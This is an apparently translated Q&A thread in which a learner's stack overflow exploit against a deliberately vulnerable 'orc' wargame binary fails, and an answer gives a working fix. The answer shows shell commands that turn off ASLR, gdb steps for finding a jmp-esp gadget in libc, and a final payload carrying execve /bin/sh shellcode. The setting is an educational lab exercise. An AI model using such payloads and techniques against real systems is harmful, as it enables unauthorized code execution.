0

我正在尝试对以下程序进行缓冲区溢出:

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]){
    char buffer[40];
    int i;

if(argc < 2){
    printf("argv error\n");
    exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
    memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
    printf("stack is still your friend.\n");
    exit(0);
}
strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
}

我用这个有效载荷来尝试溢出缓冲区,

./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`** 

但是,它似乎不起作用,只给了我这个结果。

j
 X?Rh//shh/bin??S?訴???????????

是的,这几乎是我第一次尝试 BOf,我觉得有效载荷末尾的 ret 地址(粗体)似乎不准确。那么,如何将 ret 地址放在 shellcode 的末尾呢?它有什么作用?提前致谢 :)

4

1 回答 1

0

我无法告诉您您的退货代码是否正确,因为我不知道您打算在哪里退货。

使用“-fno-stack-protector -z execstack”编译此代码并禁用地址 ASLR (echo 0 > /proc/sys/kernel/randomize_va_space),我的缓冲区如下所示:

# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')

在 gdb (gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')) 中运行它并转储 esp (x/ 100x $esp) 表明它直接指向返回地址之后的缓冲区区域,因此如果您可以在内存中的某处找到 RET %ESP 指令,则将返回地址指向它会将您直接返回到缓冲区。

要找到合适的返回地址,您可以执行以下操作(再次假设 ASLR 已被禁用):

  1. 找到链接库的地址 - 在我的盒子上显示:

    # ldd orc
    linux-gate.so.1 =>  (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
    /lib/ld-linux.so.2 (0x80000000)
    
  2. 使用“find /b [start-search-address], [end-search-address], [stuff-to-search-for]”在 gdb 中为 libc (0xb7e80000) 提供的地址搜索 RET %ESP 指令。

    # gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
    gdb$ b main
    Breakpoint 1 at 0x8048555: file orc.c, line 12
    gdb$ r
    Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
    12      if (argc < 2)
    gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
    0xb7f88a0f
    0xb7f96b73
    0xb7f96bf3
    ...
    0xb7f96df3
    0xb7f975f3
    0xb7f97673
    
  3. 选择一个作为返回地址 - 我选择了第一个 '0xb7f88a0f',它作为 '\x0f\x8a\xf8\xb7' 插入缓冲区。

这应该会让您进入缓冲区,您可以通过在返回地址之后放置一堆断点('\xCC')并在 gdb 中运行程序来再次验证,如上所示。执行应在您的返回地址之后立即中断。验证:

gdb$ x/8x $eip-4
0xbffff43c: 0xb7f88a0f  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff44c: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc

您应该在 EIP 上看到您的返回地址 - 4 个字节,最终缓冲区应该如下所示(不需要 nops):

$(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
于 2013-11-20T23:33:19.507 回答